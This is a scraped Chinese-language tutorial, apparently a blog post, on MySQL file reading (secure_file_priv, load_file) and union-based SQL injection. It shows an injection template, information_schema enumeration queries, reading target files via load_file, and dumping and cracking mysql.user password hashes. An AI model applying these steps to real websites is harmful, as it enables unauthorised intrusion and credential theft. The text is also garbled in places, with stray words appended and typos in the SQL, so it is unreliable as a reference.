具有讀寫權限而且目標文件爲可讀內容html
目標內容具備完整路徑且目錄可訪問mysql
目標內容是否具有文件讀寫操做權限git
查看是否有文件讀寫權限github
show variables like '%secure%';
secure_file_priv
絕對文件讀取的功能sql
null
:不容許任何導入導出數據庫
./[url]
:導入/導出操做只能夠在./[url]路徑下進行服務器 ` `:空內容;導入導出無限制性能
在my.ini文件中,修改
secure_file_priv
屬性值能夠修改導入導出權限網站
確保具有文件導入導出權限後便可進行文件讀寫操做~~~url
數據庫表讀取文件中的內容並保存~
load_file(<[./url/]file>);
load_file
在指定的目錄下建立文件
首先咱們須要在/var/lib/mysql-files/建立一個文件user.txt
$ vi /var/lib/mysql-files/user.txt user.txt: Hello,World!
create table file( id int not null auto_increment primary key, file_url text )engine=innodb default charset=utf8; -- 建立表file insert into file(file_url) values (load_file('/var/lib/mysql-files/user.txt'));
mysql> select * from file; +----+---------------+ | id | file_url | +----+---------------+ | 1 | NULL | | 2 | Hello,World! | +----+---------------+ 2 rows in set (0.00 sec)
文件中的數據內容就這樣寫入了數據表中!
load data infile '/var/lib/mysql-files/name.txt' into table file(file_url);
mysql> mysql> select * from file; +----+---------------+ | id | file_url | +----+---------------+ | 1 | NULL | | 2 | Hello,World! | | 3 | Hello,World! | +----+---------------+ 3 rows in set (0.00 sec)
咱們能夠經過前期的滲透手段和分析得知目標網站某處存在SQL注入漏洞;因而咱們就能夠利用SQL的文件讀取的特性來讀取目標系統中的某個文件的內容
MySQL在剛剛初始化後,默認有三個系統默認庫:
mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | +--------------------+ 4 rows in set (0.00 sec)
這些事MySQL數據庫自帶的三個基本的系統庫
information_schema:
其中保存有MYSQL所維護的全部數據庫信息,包括庫名、表名、表列、權限……等信息
performance_schema:
用於收集數據庫服務器的性能參數
mysql:s
保留mysql的帳戶信息、權限、存儲過程、event、時區等配置信息
information_schema 庫一般保存由數據庫的元數據:
數據庫名,表名,列的屬性、類型、訪問權限等等……
在information_schema
庫中有許多重要的系統表,能夠爲滲透過程當中提供幫助!
提供了當前MySQL全部庫的信息,show databases;
的結果就是據此而顯示~
information_schema.tables
表中提供了表的詳細信息
select <列名> from information_schema.tables;
table表中主要記錄了數據庫中全部表的元數據,例如表名、類型、引擎……
在滲透過程當中,若是咱們掌握到這張表就能夠掌握數據庫的大概的表
information_schema.COLUMNS
表中提供了表中字段信息
select COLUMN_NAME,DATA_TYPE,IS_NULLABLE,COLUMN_DEFAULT from information_schema.COLUMNS where table_name = 'user';
查詢user表中的字段名信息
information_statistics
表中提供表的索引信息內容
信息源自於mysql.user
受權表;裏面保存着數據庫每一個帳戶具有的權限信息
信息源自於mysql.db
受權表,保存着數據庫的權限的信息
信息源自於mysql.tables_prive
受權表,保存全部表信息的權限
信息源自於mysql.columns_prive
s受權表,保存表列的權限信息
提供mysql全部相關的字符集信息
*在SQL注入中union聯合注入是最爲常見的
廣泛的狀況下,使用union
語句實現聯合注入(回顯注入)……
' union <SQL語句>; #
如今簡單的舉例幾條SQL語句實現核心的條件查詢
select 1 , database();
select schema_nam from information_schema.schemata;
select table_name from information_schema.tables where table_schema = "<databases_name>";
select columns_name from information_schema.columns where table_name = "<tables_name>";
順帶一提~SQL盲注
上面說的SQL注入是基於頁面有「回顯」的注入(回顯注入)
若是頁面沒有回顯,那麼就須要進行「盲注入」
select user,password from mysql.user;
推薦神器:hashcat
推薦網站:CMD5(本例使用CMD5網站破解)
**成功解出密碼……^_^!**